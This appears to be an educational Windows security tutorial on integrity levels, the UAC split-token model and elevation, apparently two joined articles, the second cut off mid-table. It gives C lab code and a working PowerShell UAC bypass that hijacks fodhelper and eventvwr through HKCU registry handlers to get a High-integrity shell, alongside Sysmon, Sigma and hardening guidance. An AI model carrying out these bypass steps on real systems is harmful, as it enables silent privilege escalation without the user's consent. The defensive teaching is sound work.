By default the filtered token drives the interactive session. explorer.exe, your browser, your shell – all Medium. The full token sits parked until something explicitly requests elevation. This is Admin Approval Mode (AAM).

Three token information classes expose the model:

Information ClassStruct / TypeMeaning
TokenElevationTypeTOKEN_ELEVATION_TYPE enumDefault(1), Full(2), Limited(3)
TokenElevationTOKEN_ELEVATION (DWORD TokenIsElevated)1 if elevated, 0 if filtered
TokenLinkedTokenTOKEN_LINKED_TOKEN (HANDLE LinkedToken)Handle to the paired token

One important exception: the built-in RID-500 local Administrator is not enrolled in UAC by default. It receives a full High token with no filtered counterpart. You enroll it with FilterAdministratorToken=1, covered in Section 6.

Lab: Query Your Own Token Pair (C)

Compile and run this as your normal (Medium) admin user, then again from an elevated prompt, and watch the fields flip.

#include <windows.h>
#include <sddl.h>
#include <stdio.h>

static const char* ElevStr(TOKEN_ELEVATION_TYPE t) {
    switch (t) {
        case TokenElevationTypeDefault: return "Default";
        case TokenElevationTypeFull:    return "Full";
        case TokenElevationTypeLimited: return "Limited";
        default:                        return "Unknown";
    }
}

static void Describe(HANDLE hTok, const char* tag) {
    DWORD ret = 0, size = 0;
    TOKEN_ELEVATION_TYPE et = TokenElevationTypeDefault;
    TOKEN_ELEVATION elev = {0};
    char* sidStr = NULL;

    GetTokenInformation(hTok, TokenElevationType, &et, sizeof(et), &ret);
    GetTokenInformation(hTok, TokenElevation, &elev, sizeof(elev), &ret);

    GetTokenInformation(hTok, TokenIntegrityLevel, NULL, 0, &size);
    PTOKEN_MANDATORY_LABEL lbl = (PTOKEN_MANDATORY_LABEL)LocalAlloc(LPTR, size);
    if (GetTokenInformation(hTok, TokenIntegrityLevel, lbl, size, &ret))
        ConvertSidToStringSidA(lbl->Label.Sid, &sidStr);

    printf("[%s] ElevationType: %-7s | Elevated: %lu | IL: %s\n",
           tag, ElevStr(et), elev.TokenIsElevated, sidStr ? sidStr : "?");

    if (sidStr) LocalFree(sidStr);
    LocalFree(lbl);
}

int main(void) {
    HANDLE hTok;
    if (!OpenProcessToken(GetCurrentProcess(),
                          TOKEN_QUERY | TOKEN_DUPLICATE, &hTok)) {
        printf("OpenProcessToken failed: %lu\n", GetLastError());
        return 1;
    }
    Describe(hTok, "current");

    TOKEN_LINKED_TOKEN linked = {0};
    DWORD ret = 0;
    if (GetTokenInformation(hTok, TokenLinkedToken, &linked, sizeof(linked), &ret)) {
        printf("LinkedToken handle: 0x%p\n", linked.LinkedToken);
        Describe(linked.LinkedToken, "linked ");
        CloseHandle(linked.LinkedToken);
    } else {
        printf("No linked token (err %lu)\n", GetLastError());
    }
    CloseHandle(hTok);
    return 0;
}

Build it with MinGW or MSVC:

x86_64-w64-mingw32-gcc token.c -o token.exe -ladvapi32

Run from a normal shell and you get the split laid bare:

[current] ElevationType: Limited | Elevated: 0 | IL: S-1-16-8192
LinkedToken handle: 0x00000000000000E4
[linked ] ElevationType: Full    | Elevated: 1 | IL: S-1-16-12288

The Medium token’s LinkedToken is a live handle to your Full, High-integrity self. That pairing is the entire model in one struct.


4. The Elevation Pipeline: ShellExecute to AppInfo to consent.exe

When something legitimately needs elevation, it does not just spawn a High process. It asks a service to do it. The flow:

  1. A caller issues ShellExecute with the runas verb (or launches a requireAdministrator binary).
  2. The request is forwarded over RPC to the Application Information Service (AppInfo), hosted in svchost.exe loading appinfo.dll. AppInfo depends on RPC and the DCOM Server Process Launcher.
  3. The RPC method RAiLaunchAdminProcess (in appinfo.dll) validates the request and checks the target’s manifest.
  4. If a prompt is required, AiLaunchConsentUI launches consent.exe.
  5. consent.exe renders the UAC dialog on a secure desktop (a separate desktop isolated from the user’s, so Medium-integrity malware cannot script the buttons). AppInfo hands consent.exe a pointer into its own address space holding the program name, path, elevation type, and dialog metadata; consent.exe reads that block directly.
  6. consent.exe returns 0x0 on approval, 0x4C7 (ERROR_CANCELLED) on denial or close.
  7. On approval, AppInfo creates the process with the user’s elevated token.

Then comes the artifact that matters for detection. AppInfo sets the new process’s parent PID back to the shell that requested elevation, typically explorer.exe, even though AppInfo actually created it. This deliberate re-parenting means the tree you see in a naive process listing lies about who spawned what. Keep that in mind for Section 10.

The secure desktop is toggled by PromptOnSecureDesktop. Disable it and you have handed attackers a much easier target, which is why it stays on.


Flow diagram tracing a UAC elevation request from ShellExecute through the AppInfo RPC service to consent.exe on the [secure desktop](https://genxcyber.com/user-mode-vs-kernel-mode-privilege-rings-windows/), then to an elevated High-integrity process re-parented to explorer.exe
AppInfo brokers every legitimate elevation over RPC; the deliberate re-parenting of the resulting process to explorer.exe is why naive process trees mislead defenders.

5. Application Manifests and Auto-Elevation

Every PE can embed an application manifest whose trustInfo XML declares a requestedExecutionLevel. AppInfo reads that field to decide what to do.

requestedExecutionLevelBehavior
asInvokerRun with the caller’s token (no elevation)
highestAvailableElevate if the caller can, otherwise run filtered
requireAdministratorAlways require the full token; prompt if needed

Auto-elevation is the interesting part. A binary can carry autoElevate="true", which lets AppInfo silently hand it the full token with no prompt – but only if all three conditions hold:

  1. The binary is Microsoft-signed.
  2. It resides in a trusted system directory (for example C:\Windows\System32).
  3. Its manifest sets autoElevate=true.

That whitelist is a small, fixed set of Microsoft binaries: fodhelper.exe, eventvwr.exe, sdclt.exe, computerdefaults.exe, dism.exe, wusa.exe, dccw.exe, and friends. Confirm the flag yourself with Sysinternals sigcheck:

.\sigcheck64.exe -m C:\Windows\System32\fodhelper.exe | Select-String "autoElevate"
# <autoElevate>true</autoElevate>

Every one of those binaries is a candidate host for a silent elevation. The attacker never touches the binary. They touch what the binary reads.


6. UAC Configuration: Registry Keys and Group Policy

All of UAC’s behavior lives under HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System.

Value NameEffect
EnableLUA0 = UAC fully off; every admin process runs High
ConsentPromptBehaviorAdmin0=no prompt, 1=prompt for creds on secure desktop, 2=always notify, 5=default (consent for non-Windows binaries)
ConsentPromptBehaviorUserStandard-user behavior (3=default, prompt for creds)
PromptOnSecureDesktop1 = render the prompt on the isolated secure desktop
FilterAdministratorToken1 = enroll the RID-500 Administrator in UAC
LocalAccountTokenFilterPolicy1 = disable remote UAC filtering for local admins

The value that makes the whole bypass family work is ConsentPromptBehaviorAdmin=5, the shipping default. At 5, auto-elevating Windows binaries elevate silently. Crank it to 2 (Always Notify) and even fodhelper.exe throws a prompt. We will come back to that in hardening, because it is the single most effective control here.

Remote UAC filtering

Over the network (SMB NET USE, WinRM), a local admin account subject to token filtering only ever gets its filtered token, so it cannot do remote admin work. LocalAccountTokenFilterPolicy=1 disables that protection, which is exactly why attackers love finding it set. A domain account in the local Administrators group is different: it logs on remotely with a full token and UAC is not in effect. RDP is also exempt because it is an interactive logon.


7. UIPI: The Complementary Control

User Interface Privilege Isolation (UIPI) stops a lower-integrity process from driving a higher-integrity window with synthetic messages (WM_*, fake keystrokes, SetWindowsHookEx). It was introduced alongside MIC in Vista specifically to kill “shatter attacks,” where a low process posts a WM_TIMER-style message carrying a code pointer to a privileged window. UIPI uses MIC as its enforcement backbone: message delivery up the integrity ladder is blocked by the same kernel machinery. The practical cost is that legitimate accessibility tools (screen readers, automation) need the uiAccess manifest flag to punch through, which itself requires signing and a trusted path.


8. UAC Bypass Lab: HKCU Registry Hijack (fodhelper)

Time to actually cross the wall. This is a design-abuse, not a memory-corruption bug, and it is 100% reproducible on stock Windows 10.

Lab setup:

  • Clean Windows 10 22H2 VM.
  • A non-RID-500 local admin (labuser, member of Administrators).
  • UAC at default: ConsentPromptBehaviorAdmin=5, PromptOnSecureDesktop=1.
  • Sysmon v15+ with a config that logs registry and process events.
  • Defender real-time off for lab clarity (it will flag this, which is the point).

The core insight: fodhelper.exe is Microsoft-signed, in System32, and auto-elevates. When it launches, it opens an ms-settings URI using the per-user file-association handler under HKCU. A Medium process can write HKCU freely (it is our own hive). The elevated fodhelper reads that per-user handler and executes it at High. Medium writes, High reads down, MIC never lifts a finger.

Step 1 – Confirm we are Medium

whoami /groups | findstr "Mandatory Label"
# Mandatory Label\Medium Mandatory Level  S-1-16-8192

Step 2 – Confirm fodhelper auto-elevates

.\sigcheck64.exe -m C:\Windows\System32\fodhelper.exe | Select-String "autoElevate"
# <autoElevate>true</autoElevate>

Step 3 – Plant the hijack in HKCU

fodhelper resolves the ms-settings progid, walks shell\open\command, and checks DelegateExecute first. Set DelegateExecute to an empty string and the shell falls back to the (Default) command string, which is ours.

$key = "HKCU:\Software\Classes\ms-settings\shell\open\command"
New-Item $key -Force | Out-Null
New-ItemProperty $key -Name "DelegateExecute" -Value "" -Force | Out-Null
Set-ItemProperty  $key -Name "(Default)" -Value "C:\Windows\System32\cmd.exe" -Force

Step 4 – Trigger the elevation

Start-Process "C:\Windows\System32\fodhelper.exe"

No prompt. No secure desktop. A cmd.exe window appears.

Step 5 – Verify High integrity

whoami /groups | findstr "Mandatory Label"
REM Mandatory Label\High Mandatory Level  S-1-16-12288

You started Medium and now own a High-integrity shell with zero user interaction. That is T1548.002 in eight lines of PowerShell.

Step 6 – Clean up

Remove-Item "HKCU:\Software\Classes\ms-settings" -Force -Recurse

The eventvwr variant

Same idea, different auto-elevator. eventvwr.exe opens a .msc via the mscfile progid:

$key = "HKCU:\Software\Classes\mscfile\shell\open\command"
New-Item $key -Force | Out-Null
Set-ItemProperty $key -Name "(Default)" -Value "C:\Windows\System32\cmd.exe" -Force
Start-Process "C:\Windows\System32\eventvwr.msc"

A gotcha worth an hour of your life: on some builds eventvwr needs the payload without the DelegateExecute value, while fodhelper needs it present and empty. If your shell does not pop, that mismatch is usually why. Test both progids before you assume the technique is patched.


Flow diagram showing a Medium-integrity attacker writing a malicious command into the HKCU ms-settings registry key, then triggering fodhelper.exe which auto-elevates and reads the attacker-controlled handler, spawning a High-integrity cmd.exe
The hijack works because MIC’s no-write-up only blocks writes upward – a High-integrity auto-elevator reading back down into attacker-owned HKCU state is entirely permitted.

9. Common Attacker Techniques

TechniqueDescription
HKCU handler hijack (fodhelper, eventvwr, sdclt)Write a per-user file/protocol association, launch the auto-elevator, inherit High integrity
computerdefaults.exe hijackSame ms-settings progid target as fodhelper, different trigger binary
DLL search-order abuse in auto-elevatorsDrop a planted DLL an auto-elevating binary loads from a writable path
COM elevation moniker / ICMLuaUtilInstantiate an auto-approved elevated COM object; consent.exe may run with no user click
Environment-variable / IFEO manipulationRedirect an elevated child’s executed path via HKCU env or debugger keys

Almost all of these share one shape: the attacker seeds attacker-controlled state that a High-integrity, auto-elevating Microsoft binary then reads and trusts. Once High integrity is reached, the follow-on is usually token manipulation (T1134), service persistence (T1543), or LSASS credential access (T1003.001).


10. Defensive Strategies & Detection

Everything above leaves loud artifacts if you are collecting the right events. Two signals matter most: the registry write into HKCU\Software\Classes, and the parent-child chain with an auto-elevator spawning a shell at High integrity.

Windows Security auditing

Event IDLogWhat It Captures
4688SecurityProcess creation with command line (enable “Include command line”)
4657SecurityRegistry value writes to ...\Classes\ms-settings / \mscfile
4703SecurityToken right adjustment (elevation)
4624SecurityElevated-token logon; correlate with absence of 4648
7045SystemNew service install, common post-bypass step

Sysmon

Sysmon Event IDWhat to Monitor
1 (Process Create)ParentImage = fodhelper.exe / eventvwr.exe / sdclt.exe / computerdefaults.exe spawning cmd.exe, powershell.exe, rundll32.exe with IntegrityLevel=High
13 (Registry Set)TargetObject containing \shell\open\command, \ms-settings\, or \mscfile\
10 (Process Access)consent.exe accessed by unexpected processes
1 (anomalous consent)consent.exe executing with no corresponding user interaction (COM-moniker bypasses)

Sysmon config to catch the HKCU-hijack family:

<RegistryEvent onmatch="include">
  <TargetObject condition="contains">\shell\open\command</TargetObject>
  <TargetObject condition="contains">\ms-settings\</TargetObject>
  <TargetObject condition="contains">\mscfile\</TargetObject>
</RegistryEvent>

Sigma rule for the fodhelper parent-child signal (mirrors SigmaHQ 7f741dcf-...):

title: UAC Bypass via Auto-Elevated fodhelper Child Process
logsource:
  product: windows
  category: process_creation
detection:
  selection:
    ParentImage|endswith: '\fodhelper.exe'
  child:
    Image|endswith:
      - '\cmd.exe'
      - '\powershell.exe'
      - '\rundll32.exe'
    IntegrityLevel: 'High'
  condition: selection and child
tags:
  - attack.privilege_escalation
  - attack.defense_evasion
  - attack.t1548.002
level: high

One detection nuance from Section 4: because AppInfo re-parents elevated processes to explorer.exe, a raw process tree can show explorer -> cmd while the Sysmon 1 event still records ParentImage=fodhelper.exe. Trust the event’s ParentProcessId/ParentImage, not the live tree. In Process Hacker you will see fodhelper as the real parent while the PPID in the log points at explorer. That discrepancy is itself an indicator.

Hardening

  1. Set ConsentPromptBehaviorAdmin=2 (Always Notify) by GPO. This forces a prompt even for auto-elevating binaries and neutralizes the entire HKCU-hijack family.
  2. Remove users from local Administrators wherever possible. Every technique here requires the user to already hold the full token. Standard users cannot do it.
  3. Enroll RID-500 with FilterAdministratorToken=1.
  4. Keep LocalAccountTokenFilterPolicy=0 so remote UAC filtering stays active for local admins.
  5. Audit HKCU\Software\Classes writes (Event ID 4657 or Sysmon 13) and alert on non-interactive contexts (MITRE mitigations M1052, M1026).

Relevant ETW providers: Microsoft-Windows-Security-Auditing, Microsoft-Windows-Sysmon, and the seldom-enabled Microsoft-Windows-UAC provider.


Illustration of a watchtower sentinel spotting registry and process-tree anomaly signals rising from a darkened city, symbolizing UAC bypass detection
Two signals betray the HKCU-hijack family: a registry write into HKCU\Software\Classes and an auto-elevator spawning a High-integrity shell – both loud in Sysmon if you are watching.

11. Tools for UAC Analysis

ToolDescriptionLink
Process HackerInspect token IL, elevation, and true parent processprocesshacker.sourceforge.io
Sysinternals sigcheckDump embedded manifests (-m) to confirm autoElevatelearn.microsoft.com
Sysinternals whoami / AccessChkEnumerate token groups, privileges, integritylearn.microsoft.com
Sysmon + SwiftOnSecurity configRegistry and process telemetry for detectionlearn.microsoft.com
Resource HackerGUI manifest and resource inspection of PE filesangusj.com
WinObjBrowse the object namespace and integrity labelslearn.microsoft.com

12. MITRE ATT&CK Mapping

TechniqueMITRE IDDetection
Abuse Elevation Control MechanismT1548Correlate registry mods, anomalous parent-child chains, unsigned elevated processes
Bypass User Account ControlT1548.002Sysmon 1 (auto-elevator parent + High IL child), Sysmon 13 / Event 4657 (HKCU class write)
Access Token ManipulationT1134Post-bypass follow-on; audit 4703 token adjustments
Create or Modify System ProcessT1543Event 7045 new service installs after elevation
OS Credential Dumping: LSASST1003.001Sysmon 10 handle access to lsass.exe from freshly elevated process

Summary

  • UAC is a convenience feature, not a security boundary, which is why its bypasses are unpatched by design and worth understanding as expected behavior rather than bugs.
  • The split-token model gives every admin a Medium filtered token and a linked High full token; GetTokenInformation with TokenElevationType, TokenElevation, and TokenLinkedToken shows both directly.
  • MIC and SeAccessCheck enforce no-write-up, so bypasses never break MIC. They make a High auto-elevating binary read down into attacker-controlled HKCU state.
  • The fodhelper/eventvwr HKCU-hijack lands a High-integrity shell with no prompt in about eight lines, purely because auto-elevators trust per-user handlers at default UAC settings.
  • Detect it with Sysmon Event ID 1 (auto-elevator parent + IntegrityLevel=High child) and Event ID 13 / Security 4657 (class-key writes); neutralize the whole family by setting ConsentPromptBehaviorAdmin=2 and pulling users out of local Administrators.

Related Tutorials

References

Integrity Levels and Mandatory Integrity Control

Objective: Understand how Windows Mandatory Integrity Control (MIC) tags every process and securable object with an integrity level, how the Security Reference Monitor enforces those levels before DACLs are ever consulted, how UAC’s split-token model layers on top, and how attackers punch through the medium-to-high boundary. You should finish able to query, set, and detect integrity-level manipulation on your own box.


DACLs answer “who can touch this?” Integrity levels answer a different, blunter question: “is the caller trustworthy enough to be in the same room as this object?” MIC was bolted into Windows in Vista precisely because discretionary access control had proven insufficient. An admin-owned process reading a document is fine on paper. That same admin-owned process reading a document after being compromised by a browser sandbox escape is not, and the DACL cannot tell the difference. The integrity level can.

MIC is mandatory in the classical sense: there is no group policy switch to disable it, and the check runs before the DACL check every single time. If MIC says no, the DACL never gets a vote.


1. What Mandatory Integrity Control Actually Is

MIC is a labeling and enforcement layer over the existing access-control model. Every access token carries an integrity level (IL). Every securable object can carry a mandatory label describing what lower-IL subjects are allowed to do to it. The Security Reference Monitor consults both before the DACL is even opened.

Three things worth internalizing up front:

  • The integrity mechanism is always on. There is no toggle. It is not a policy, it is architecture.
  • Objects without an explicit label are treated as Medium. That default is the reason MIC works at all on a 20-year-old codebase, most objects never had to be relabeled.
  • The check is one-directional. MIC does not stop high processes from reading low objects. It stops low processes from writing up to high ones. This is the Biba-integrity model, roughly the mirror of Bell-LaPadula.

2. Integrity Level SIDs and the Hierarchy

Every IL is expressed as a SID in the S-1-16-RID form, where the RID places the level on the ladder. The important ones, exactly as winnt.h defines them:

LevelSIDRID (hex)RID (dec)Typical assignment
UntrustedS-1-16-00x00000Anonymous / heavily sandboxed workers
LowS-1-16-40960x10004096Browser renderers, AppContainer, protected-mode IE
MediumS-1-16-81920x20008192Standard user processes, filtered-token admins
HighS-1-16-122880x300012288Elevated admin processes
SystemS-1-16-163840x400016384Services, kernel-created processes
InstallerS-1-16-245760x600024576Windows Installer (msiexec) service context

The RIDs are ordered numerically, and that ordering is the trust hierarchy. Comparison is literal integer comparison. This will matter when you look at ACE evaluation later.

The Installer level is worth a footnote: it exists so msiexec-driven install actions can outrank ordinary High processes and modify system files that even normal High-IL admins should not casually rewrite. In practice you rarely see subjects running at Installer, but the RID is defined.


Hierarchy diagram of Windows integrity levels from Untrusted at the bottom to Installer at the top, showing each level's SID
The six Windows integrity levels ordered by their RID values; comparison is literal integer arithmetic inside the Security Reference Monitor.

3. Where Integrity Levels Live: Tokens and SACLs

The IL of a subject rides inside the access token. It is not a separate field, it is folded into the token’s group list. Specifically, TOKEN_GROUPS contains a SID_AND_ATTRIBUTES entry whose SID is the integrity SID and whose attributes are:

#define SE_GROUP_INTEGRITY          0x00000020
#define SE_GROUP_INTEGRITY_ENABLED  0x00000040

You retrieve it with GetTokenInformation using the TokenIntegrityLevel class, which hands you a TOKEN_MANDATORY_LABEL:

typedef struct _TOKEN_MANDATORY_LABEL {
    SID_AND_ATTRIBUTES Label;
} TOKEN_MANDATORY_LABEL, *PTOKEN_MANDATORY_LABEL;

The IL of an object lives in its SACL, not its DACL. That is the part that trips people up the first time. The relevant ACE is SYSTEM_MANDATORY_LABEL_ACE, which sits in the system ACL alongside audit ACEs. It carries the integrity SID (defining the object’s own level) and an access mask made of these policy flags:

FlagMeaning
SYSTEM_MANDATORY_LABEL_NO_WRITE_UPLower-IL subjects cannot write to the object
SYSTEM_MANDATORY_LABEL_NO_READ_UPLower-IL subjects cannot read the object
SYSTEM_MANDATORY_LABEL_NO_EXECUTE_UPLower-IL subjects cannot execute the object

Default is NO_WRITE_UP only. That is why a Medium-IL process can happily read most High-IL files. Read-up is not blocked unless someone explicitly labeled the object with NO_READ_UP. If you want a secret to be unreadable by a browser sandbox, you label it. Otherwise, MIC is not stopping the reader.

Every token also carries a TOKEN_MANDATORY_POLICY, set by LSA at token creation:

typedef struct _TOKEN_MANDATORY_POLICY {
    DWORD Policy;
} TOKEN_MANDATORY_POLICY;

// Policy flags:
// TOKEN_MANDATORY_POLICY_OFF                0x0
// TOKEN_MANDATORY_POLICY_NO_WRITE_UP        0x1
// TOKEN_MANDATORY_POLICY_NEW_PROCESS_MIN    0x2

NEW_PROCESS_MIN is the flag that enforces the “child process gets min(parent IL, executable IL)” rule. Turn it off (which you cannot from user mode) and children would inherit unconditionally.


4. The Mandatory Policy Access Mask in Practice

NO_WRITE_UP is the star of the show. It is the flag that makes a browser renderer running at Low unable to overwrite a Medium-IL user document, and unable to inject into a Medium-IL parent. Read-up and execute-up bans are opt-in per object.

The comparison logic inside the SRM, if you want a mental model:

  1. Read the caller’s IL from the token.
  2. Read the object’s IL from the SYSTEM_MANDATORY_LABEL_ACE.
  3. If caller IL >= object IL, MIC does not restrict this access, fall through to DACL.
  4. Otherwise, look at the ACE’s mask. If the requested access (write / read / execute) intersects the “no X up” prohibition, deny outright.
  5. Only if MIC does not deny do we ever evaluate the DACL.

That “fall through to DACL” step is important. MIC failing open does not grant access, it merely defers the question. The DACL still gets to say no.


5. The Security Reference Monitor and the AccessCheck Flow

The Security Reference Monitor (SRM) is the kernel component that owns access decisions. From user mode you touch it via AccessCheck; from a driver you use SeAccessCheck. Under the hood the flow is the same:

Subject requests handle
      |
      v
+---------------------+
| SeAccessCheck       |
|  1. Load token      |
|  2. Load object SD  |
|  3. MIC eval (SACL) |  <-- integrity gate, runs FIRST
|  4. DACL eval       |
+---------------------+
      |
      v
Access granted / denied

Two consequences of this ordering that people miss:

  • A “generous” DACL cannot save a caller that MIC has already rejected. You could Everyone: Full Control an object and a Low-IL process still cannot write to it if the object is Medium with NO_WRITE_UP.
  • Owner-of-object rights (which normally bypass DACL for WRITE_DAC) do not bypass MIC. If your IL is lower than the object’s, you cannot rewrite its DACL to grant yourself access, MIC will block the write to the security descriptor.

Flow diagram showing SeAccessCheck evaluating the MIC integrity gate before DACL, with a deny branch when caller integrity level is lower than the object
The Security Reference Monitor always runs the MIC check first; a DACL granting Everyone Full Control cannot override an integrity-level denial.

6. Process Creation and IL Inheritance

When CreateProcess fires, the resulting process gets min(caller_token_IL, executable_file_IL). Practical effects:

  • A Medium user launching a Medium executable gets a Medium child. Boring, expected.
  • The same user launching a file that has been labeled Low (via icacls /setintegritylevel Low) gets a Low child. This is exactly how Chrome, Edge, and Adobe Reader put their renderers into a Low sandbox: label the binary Low, spawn it normally, done.
  • A High-IL admin shell launching a Medium-labeled executable gets a Medium child. You cannot accidentally elevate by execution alone.

You cannot raise your child’s IL above your own from user mode. You can lower it. The dance is: OpenProcessToken -> DuplicateTokenEx -> SetTokenInformation(TokenIntegrityLevel, ...) with a lower SID -> CreateProcessAsUser. Try to set a higher IL and SetTokenInformation returns ERROR_PRIVILEGE_NOT_HELD unless you hold SeTcbPrivilege.

MIC also prevents cross-boundary process meddling. A Medium process calling OpenProcess(PROCESS_VM_WRITE | PROCESS_CREATE_THREAD, ...) against a High process gets ACCESS_DENIED. Same for WriteProcessMemory, CreateRemoteThread, NtCreateThreadEx, and friends. This is the reason a compromised Medium userland cannot trivially reach into lsass.exe.


7. UAC, the Split Token, and Elevation

Here is where the model gets interesting on a machine where your user is a local admin. Log in as Bob, a member of the local Administrators group, with UAC on. LSA notices the admin membership at logon and produces two tokens:

  • A filtered token with admin SIDs marked deny-only, most privileges stripped, IL set to Medium. This is the token attached to your desktop session by default.
  • A linked full token with the admin SIDs enabled, privileges intact, IL set to High. This one sits dormant until you elevate.

The tokens report their elevation state via TokenElevationType:

ValueMeaning
TokenElevationTypeDefault (1)Not a split-token user (e.g., standard user, or UAC disabled)
TokenElevationTypeFull (2)This is the elevated half
TokenElevationTypeLimited (3)This is the filtered half

When you right-click and hit “Run as administrator”, consent.exe (running at System) prompts on the Secure Desktop and, on approval, hands the full token to CreateProcessAsUser. The new process is High. That is the intended path.

Certain shipped Microsoft binaries are marked autoElevate=true in their manifests (eventvwr.exe, fodhelper.exe, ComputerDefaults.exe, sdclt.exe, and others). For those, UAC skips the consent prompt when launched by an admin, provided the binary is signed by Microsoft, lives under %SystemRoot%\System32, and passes AIS’s checks. That “no prompt for the good binaries” convenience is exactly the seam attackers pry open.

Registry knobs that govern all of this:

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
    ConsentPromptBehaviorAdmin   (0=no prompt, 2=Always Notify, 5=default)
    EnableLUA                    (0=UAC off, 1=on)
    FilterAdministratorToken     (0=RID-500 exempt, 1=RID-500 in UAC)

Illustration of a split token concept - one ordinary identity and one elevated crowned identity locked behind a vault
UAC’s split-token model keeps the elevated full token dormant until explicit consent is granted, isolating admin power from the default session.

8. UIPI: Integrity Levels Applied to Window Messages

User Interface Privilege Isolation is a separate mechanism that uses MIC’s ladder for a different purpose: GUI messaging. A lower-IL process cannot SendMessage or PostMessage into a higher-IL window, cannot SetWindowsHookEx against it, cannot journal-record it, cannot shatter it with WM_TIMER tricks. This is what killed the classic “shatter attacks” that plagued XP.

A higher-IL process can opt selected messages through the barrier with ChangeWindowMessageFilterEx, typically to accept things like WM_COPYDATA from a specific lower-IL cooperating process. UIPI is related to MIC (it reads the same IL from the same token) but it is not MIC itself, it is a separate enforcement point in user32/win32k.


9. Querying and Manipulating Integrity Levels (Lab)

Fire up an admin-capable Windows 10 or 11 VM with Sysmon installed. Open PowerShell as a normal (non-elevated) user, this is your Medium-IL context. Everything below is on your own machine.

9.1 Cheap check: PowerShell

whoami /groups | Select-String "Mandatory"
[System.Security.Principal.WindowsIdentity]::GetCurrent().Groups |
    Where-Object { $_.Value -match "^S-1-16-" }

You will see S-1-16-8192 (Medium) in a normal shell, or S-1-16-12288 (High) in an elevated one.

9.2 Real check: query a token from C

// il_query.c  -  build: cl /nologo il_query.c advapi32.lib
#include <windows.h>
#include <sddl.h>
#include <stdio.h>

int wmain(int argc, wchar_t **argv) {
    DWORD pid = (argc > 1) ? _wtoi(argv[1]) : GetCurrentProcessId();
    HANDLE hProc = (pid == GetCurrentProcessId())
        ? GetCurrentProcess()
        : OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid);
    if (!hProc) { printf("OpenProcess failed: %lu\n", GetLastError()); return 1; }

    HANDLE hTok = NULL;
    if (!OpenProcessToken(hProc, TOKEN_QUERY, &hTok)) {
        printf("OpenProcessToken failed: %lu\n", GetLastError()); return 1;
    }

    DWORD cb = 0;
    GetTokenInformation(hTok, TokenIntegrityLevel, NULL, 0, &cb);
    PTOKEN_MANDATORY_LABEL tml = (PTOKEN_MANDATORY_LABEL)LocalAlloc(LPTR, cb);
    if (!GetTokenInformation(hTok, TokenIntegrityLevel, tml, cb, &cb)) {
        printf("GetTokenInformation failed: %lu\n", GetLastError()); return 1;
    }

    DWORD rid = *GetSidSubAuthority(
        tml->Label.Sid,
        (DWORD)(UCHAR)(*GetSidSubAuthorityCount(tml->Label.Sid) - 1));

    LPWSTR sidStr = NULL;
    ConvertSidToStringSidW(tml->Label.Sid, &sidStr);
    wprintf(L"PID %lu  IL SID=%s  RID=0x%04lx\n", pid, sidStr, rid);

    const wchar_t *name = L"Unknown";
    switch (rid) {
        case SECURITY_MANDATORY_UNTRUSTED_RID: name = L"Untrusted"; break;
        case SECURITY_MANDATORY_LOW_RID:       name = L"Low";       break;
        case SECURITY_MANDATORY_MEDIUM_RID:    name = L"Medium";    break;
        case SECURITY_MANDATORY_HIGH_RID:      name = L"High";      break;
        case SECURITY_MANDATORY_SYSTEM_RID:    name = L"System";    break;
    }
    wprintf(L"Integrity level: %s\n", name);

    LocalFree(sidStr); LocalFree(tml); CloseHandle(hTok);
    return 0;
}

Run it against lsass (System), your Explorer (Medium), and an elevated cmd (High). Read the RIDs directly, don’t just trust the pretty name.

9.3 Spawn a Low-IL child

// spawn_low.c  -  demonstrates lowering IL on a duplicated token
#include <windows.h>
#include <sddl.h>
#include <stdio.h>

int wmain(void) {
    HANDLE hTok, hDup;
    OpenProcessToken(GetCurrentProcess(),
        TOKEN_DUPLICATE | TOKEN_ADJUST_DEFAULT | TOKEN_QUERY |
        TOKEN_ASSIGN_PRIMARY, &hTok);

    DuplicateTokenEx(hTok, MAXIMUM_ALLOWED, NULL,
        SecurityImpersonation, TokenPrimary, &hDup);

    PSID lowSid = NULL;
    ConvertStringSidToSidW(L"S-1-16-4096", &lowSid);   // Low IL

    TOKEN_MANDATORY_LABEL tml = {0};
    tml.Label.Attributes = SE_GROUP_INTEGRITY;
    tml.Label.Sid        = lowSid;

    if (!SetTokenInformation(hDup, TokenIntegrityLevel, &tml,
            sizeof(TOKEN_MANDATORY_LABEL) + GetLengthSid(lowSid))) {
        printf("SetTokenInformation: %lu\n", GetLastError());
        return 1;
    }

    STARTUPINFOW si = { sizeof(si) };
    PROCESS_INFORMATION pi = {0};
    wchar_t cmd[] = L"cmd.exe";
    if (!CreateProcessAsUserW(hDup, NULL, cmd, NULL, NULL, FALSE,
            0, NULL, NULL, &si, &pi)) {
        printf("CreateProcessAsUser: %lu\n", GetLastError());
        return 1;
    }
    printf("Spawned PID %lu at Low IL\n", pi.dwProcessId);
    return 0;
}

Verify with il_query.exe <pid>. Then, from that Low shell, try to write a file under %USERPROFILE%\Documents. You will get access denied even though the DACL grants you Full Control, because your Documents folder is Medium and you are trying to write up.

Try to raise it back to High and SetTokenInformation returns ERROR_PRIVILEGE_NOT_HELD. The kernel will let you drop, never climb.

9.4 Label an object

echo secret > C:\Temp\secret.txt
icacls C:\Temp\secret.txt /setintegritylevel (OI)(CI)High
icacls C:\Temp\secret.txt

Now try to open it for write from the Low shell you spawned earlier. Denied. Try to read it. Also denied, because /setintegritylevel High applies NO_WRITE_UP, NO_READ_UP, and NO_EXECUTE_UP together by default when set via icacls. This is the demonstration that read-up is not the default policy globally, it is the default for icacls’ explicit labeling.


10. Attacker Abuse: The UAC Auto-Elevation Bypass Pattern

This is the section people actually skim for, so let’s be concrete. All of the following runs on your own VM, medium-IL PowerShell, admin user in filtered-token state. The technique is a decade old, thoroughly patched in “Always Notify” mode, and reproducible in about ninety seconds.

The idea in one sentence: several auto-elevating Microsoft binaries resolve helper commands through HKCU before HKCR. Poison the HKCU copy, trigger the auto-elevating binary, and its child inherits High integrity without a consent prompt.

eventvwr.exe is the canonical example. On launch it queries HKCU\Software\Classes\mscfile\shell\open\command to find mmc.exe. If that key does not exist, resolution falls back to HKCR and everything is fine. If that key does exist because you just wrote it, eventvwr.exe will happily launch whatever you named there, as a child at High IL.

10.1 The exploitation path

StepWhatHow
1Confirm medium ILwhoami /groups \| findstr Mandatory -> Medium Mandatory Level
2Confirm the binary auto-elevatessigcheck -m C:\Windows\System32\eventvwr.exe -> manifest shows autoElevate="true"
